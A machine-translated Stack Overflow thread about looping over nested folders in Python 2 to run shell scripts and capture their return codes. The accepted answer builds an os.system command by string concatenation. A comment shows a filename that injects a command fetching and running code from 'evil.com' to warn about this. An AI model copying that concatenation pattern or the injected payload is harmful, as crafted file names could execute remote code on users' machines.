Python, пошагово перемещаться по папкам (запускать скрипты)

1

Поскольку я не знаком с Python, я думал, что приду сюда.

В любом случае у меня есть несколько папок (скажем, 20 папок) В каждой папке больше папок (скажем, 5 на) и в пределах КАЖДОЙ одной из этих папок является другая папка, и внутри THAT есть script Мне нужно запустить.

script работает так же, как и ': sh script.sh

В принципе, мне нужно запустить этот script для каждой из этих папок, проблема в том, что я не знаю, как входить в каждую папку (которая имеет script), которая на 4 уровня ниже исходной.

Таким образом, существует всего 120 сценариев, которые нужно запускать одинаково (этот script также возвращает число, например (1 для успеха, 0 для отказа), которое мне нужно записать (не должно быть слишком сложно понять)

Каким будет лучший способ? Результаты проверки, которые, я думаю, я могу понять, но перешагнув все эти вложенные папки. Я честно не очень разбираюсь в питоне, о котором нужно знать.

Just so everyones clear the folder structure is like this:
Top Level (20 or so folders)
 -->1 Below (5 or so Folders)
 ----->1 below one of these 5 folders (only 1 folder is contained)
 --------->1 below that one folder (here is where the script resides)

Не спрашивайте меня, почему папки структурированы таким образом..... lol. Это было бы сделано в python 2 предпочтительно.

  • 3
    Вам нужно решение в Python? Почему бы просто не for script in */*/*/*.sh; do sh $script; done в баш?
  • 0
    Хммм никогда не думал об этом, лол. но проблема будет в получении возвращаемых данных: /
Теги:
python-2.6

2 ответа

1
Лучший ответ

Немного перебор, но он должен работать:

import os

root = '/foo/'

for directory, subdirectories, files in os.walk(root):
  for file in files:
     if os.path.splitext(file)[-1].lower() == '.sh':
       os.system('sh ' + os.path.join(directory, file))
  • 1
    Встречайте мой любимый файл ; sh -c "$(curl evil.com/sh)"; .sh
  • 0
    Разве root и root_dir должны совпадать?
Показать ещё 4 комментария
2
import glob,subprocess
for script in glob.glob('*/*/*/*.sh'):
   s = subprocess.Popen([script], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
   stdoutdata,stderrdata = s.communicate()
   returncode = s.returncode
   # Do something with stdoutdata, returncode etc. here
  • 0
    Могу ли я сделать что-то вроде result = subprocess.Popen ([script]). communication (), чтобы получить вывод того, что выводит скрипт?
  • 0
    @ Саурон Точно. Обновлен ответ, чтобы отразить это.

Ещё вопросы

Сообщество Overcoder
Наверх
Меню